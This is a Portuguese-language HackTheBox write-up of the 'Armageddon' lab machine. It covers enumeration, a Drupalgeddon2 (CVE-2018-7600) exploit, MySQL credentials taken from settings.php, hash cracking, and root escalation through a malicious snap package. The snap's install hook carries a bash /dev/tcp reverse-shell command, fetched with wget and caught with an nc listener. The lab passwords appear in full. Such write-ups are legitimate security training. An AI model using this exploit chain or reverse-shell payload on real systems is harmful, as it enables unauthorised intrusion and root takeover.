Armageddon Cover

Neste ‘writeup’ veremos a resolução da máquina ‘Armageddon’ do HackTheBox.

Informações da Máquina

IP: 10.10.10.233

Sistema Operacional: Linux

Nível de dificuldade: Easy

Varredura e Enumeração

Port Scan

Iniciando um scan completo em todas as portas TCP abertas com nmap:

# Nmap 7.91 scan initiated Sat Jun 26 22:18:58 2021 as: nmap -v -sV -sC -p 22,80 -Pn -oN details.txt 10.10.10.233
Nmap scan report for 10.10.10.233
Host is up (0.37s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 26 22:19:25 2021 -- 1 IP address (1 host up) scanned in 27.48 seconds

Webserver

O host possui apenas duas portas abertas, a 22 e a 80. Acessando a porta 80 encontramos a seguinte página.

Armageddon - Página Inicial

No robots.txt é possível visualizar diversas URLs liberadas e bloqueadas para indexação.

http://10.10.10.233/robots.txt

User-agent: *
Crawl-delay: 10
# CSS, JS, Images
Allow: /misc/*.css$
Allow: /misc/*.css?
Allow: /misc/*.js$
Allow: /misc/*.js?
Allow: /misc/*.gif
Allow: /misc/*.jpg
Allow: /misc/*.jpeg
Allow: /misc/*.png
Allow: /modules/*.css$
Allow: /modules/*.css?
Allow: /modules/*.js$
Allow: /modules/*.js?
Allow: /modules/*.gif
Allow: /modules/*.jpg
Allow: /modules/*.jpeg
Allow: /modules/*.png
Allow: /profiles/*.css$
Allow: /profiles/*.css?
Allow: /profiles/*.js$
Allow: /profiles/*.js?
Allow: /profiles/*.gif
Allow: /profiles/*.jpg
Allow: /profiles/*.jpeg
Allow: /profiles/*.png
Allow: /themes/*.css$
Allow: /themes/*.css?
Allow: /themes/*.js$
Allow: /themes/*.js?
Allow: /themes/*.gif
Allow: /themes/*.jpg
Allow: /themes/*.jpeg
Allow: /themes/*.png
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/

Com o objetivo de obter mais informações da página foi usado o ‘whatweb’ para visualizar mais detalhes.

$ whatweb http://10.10.10.233

A saída do comando revelou que o host está usando um CMS PHP chamado Drupal em sua versão 7.

http://10.10.10.233 [200 OK] Apache[2.4.6], Content-Language[en],
Country[RESERVED][ZZ], Drupal, 
HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/5.4.16], 
IP[10.10.10.233], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)],
PHP[5.4.16], PasswordField[pass], PoweredBy[Arnageddon],
Script[text/javascript], Title[Welcome to  Armageddon |  Armageddon],
UncommonHeaders[x-content-type-options,x-generator],
X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.4.16]

Vulnerabilidade

Com a versão do CMS foi feita a busca por vulnerabilidades e exploits.

Google - Drupal Exploit

O exploit encontrado é referente a CVE-2018-7600 e está disponível no github. O exploit permite a um atacante remoto executar arbitrariamente comandos no host (RCE - Remote Code Execution).

Github - Drupal 7 Exploit

Exploração

Clonando o projeto para a máquina local.

$ git clone https://github.com/pimps/CVE-2018-7600.git

Executando o script em python para efetuar o RCE (Remote Code Execution).

Execução do exploit

Também existe um exploit no exploitdb que permite obter um ‘reverse shell’ através do metasploit.

Metasploit Drupalgeddon2

Com o metasploit foi possível visualizar os arquivos de configuração da aplicação e obter as credenciais do banco Mysql. O caminho para o arquivo de configuração do Drupal pode ser obtido consultando a sua doc oficial.

/var/www/html/sites/default/cat settings.php
Drupal Settings

Credenciais do banco Mysql.

drupaluser:CQHEy@9M*m23gBVj

Conectando ao banco de dados com as credenciais se obtêm os usuários e senhas cadastrados.

$ mysql -u drupaluser -e 'use drupal;show tables;select name, pass from users;' -p
Usuários e senhas Mysql

Identificando o tipo de ‘hash’ usada para cadastrar a senha no banco Mysql com o hashcat.

Hashcat format

Efetuando a quebra de ‘hash’ com hashcat.

$ hashcat -m 7900 hash /usr/share/wordlists/rockyou.txt --force

A senha encontrada é “booboo”.

brucetherealadmin:booboo

Conectando via SSH com as credenciais válidas e obtendo a flag do user.

User flag

Obtendo a versão do sistema operacional.

Versão OS

Escalação de Privilégios

Um procedimento muito usual para escalar privilégios é verificar as permissões do usuário com o sudo. Ao rodar o ‘sudo -l’ é confirmado que o usuário possui privilégios de root com o ‘snap’. Pacotes snaps não necessitam ser instalados na máquina para serem executados.

(root) NOPASSWD: /usr/bin/snap install *

Verificando a versão do snap instalado no sistema.

Versão do Snap

No GTFOBins foi encontrada a forma de abusar do snap com o sudo.

GTFOBins snap sudo

Antes de gerar o pacote snap malicioso deve-se instalar o fpm na máquina local seguindo o seu manual.

$ sudo gem install --no-document fpm
$ sudo apt install squashfs-tools

Criando o script makesnap.sh para gerar o pacote snap. O script possui uma linha de código que é o comando de ‘reverse shell’.

  #!/bin/bash
  
  COMMAND="bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'"
  cd $(mktemp -d)
  mkdir -p meta/hooks
  printf '#!/bin/bash\n%s;' "$COMMAND" > meta/hooks/install
  chmod +x meta/hooks/install
  fpm -n root -s dir -t snap -a all meta

Executando o script.

$ chmod +x makesnap.sh
$ ./makesnap.sh

O script vai gerar uma pasta no diretório /tmp. Este diretório deve ser compartilhado para poder subir o arquivo .snap ao host.

$ python3 -m http.server <port>

No host foi usado o wget para fazer a transferência do arquivo.

$ wget http://<ip>:<port>/xxxx_1.0_all.snap

Abrindo a porta local para receber o ‘reverse shell’.

$ rlwrap nc -lvnp <port>

Após abrir a porta local o passo seguinte é executar o comando de instalação do pacote malicioso com o sudo.

$ sudo snap install xxxx_1.0_all.snap --dangerous --devmode

Recebendo o ‘reverse shell’ com a shell do root.

Root Reverse Shell

Obtendo a ‘flag’ do usuário root.

Root Flag

Até a próxima!